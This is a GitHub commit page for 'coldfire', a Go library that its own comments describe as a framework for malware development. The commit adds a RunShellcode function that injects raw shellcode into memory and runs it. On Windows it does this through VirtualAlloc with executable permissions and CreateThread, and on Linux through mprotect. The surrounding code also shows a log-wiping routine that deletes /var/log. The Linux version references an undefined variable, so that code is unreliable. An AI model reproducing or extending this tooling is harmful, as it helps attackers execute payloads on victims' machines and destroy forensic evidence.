Skip to content

Commit f1b8b57

Browse files
author
wintrmvte
committed
+ RunShellcode() for executing raw bytearray (optionally in background/as a suspended process)
1 parent fb96be7 commit f1b8b57

File tree

3 files changed

+41
-2
lines changed

3 files changed

+41
-2
lines changed

coldfire.go

+5
Original file line numberDiff line numberDiff line change
@@ -386,3 +386,8 @@ func AutoDoc(port ...int) {
386386
}
387387
CmdRun(F("godoc -http=:%d", docport))
388388
}
389+
390+
// Injects a bytearray into current process and executes it
391+
func RunShellcode(sc []byte, bg bool){
392+
runShellcode(sc, bg)
393+
}

coldfire_linux.go

+18-2
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,11 @@
22
// for malware development that are mostly compatible with
33
// Linux and Windows operating systems.
44
package coldfire
5-
import "os"
6-
5+
import (
6+
"os"
7+
"syscall"
8+
"unsafe"
9+
)
710
func clearLogs() error {
811
err := os.RemoveAll("/var/log")
912
return err
@@ -18,3 +21,16 @@ func wipe() error {
1821

1922
return nil
2023
}
24+
25+
func runShellcode(sc []byte, bg bool){
26+
sc_addr := uintptr(unsafe.Pointer(&shellcode[0]))
27+
page := (*(*[0xFFFFFF]byte)(unsafe.Pointer(sc_addr & ^uintptr(syscall.Getpagesize()-1))))[:syscall.Getpagesize()]
28+
syscall.Mprotect(page, syscall.PROT_READ|syscall.PROT_EXEC)
29+
spointer := unsafe.Pointer(&shellcode)
30+
sc_ptr := *(*func())(unsafe.Pointer(&spointer))
31+
if (bg) {
32+
go sc_ptr()
33+
} else {
34+
sc_ptr()
35+
}
36+
}

coldfire_windows.go

+18
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@ package coldfire
55

66
import (
77
"os"
8+
"syscall"
9+
"unsafe"
810
)
911

1012
func shutdown() error {
@@ -34,6 +36,22 @@ func wipe() error {
3436
return nil
3537
}
3638

39+
func runShellcode(sc []byte, bg bool){
40+
var bg_run uintptr = 0x00
41+
if (bg) {
42+
bg_run = 0x00000004
43+
}
44+
kernel32 := syscall.MustLoadDLL("kernel32.dll")
45+
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
46+
procCreateThread := kernel32.MustFindProc("CreateThread")
47+
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x2000|0x1000, syscall.PAGE_EXECUTE_READWRITE)
48+
ptr := (*[990000]byte)(unsafe.Pointer(addr))
49+
for i, value := range sc {
50+
ptr[i] = value
51+
}
52+
procCreateThread.Call(0, 0, addr, 0, bg_run, 0)
53+
}
54+
3755
// func dialog(message, title string) {
3856
// zenity.Info(message, zenity.Title(title))
3957
// }

0 commit comments

Comments
 (0)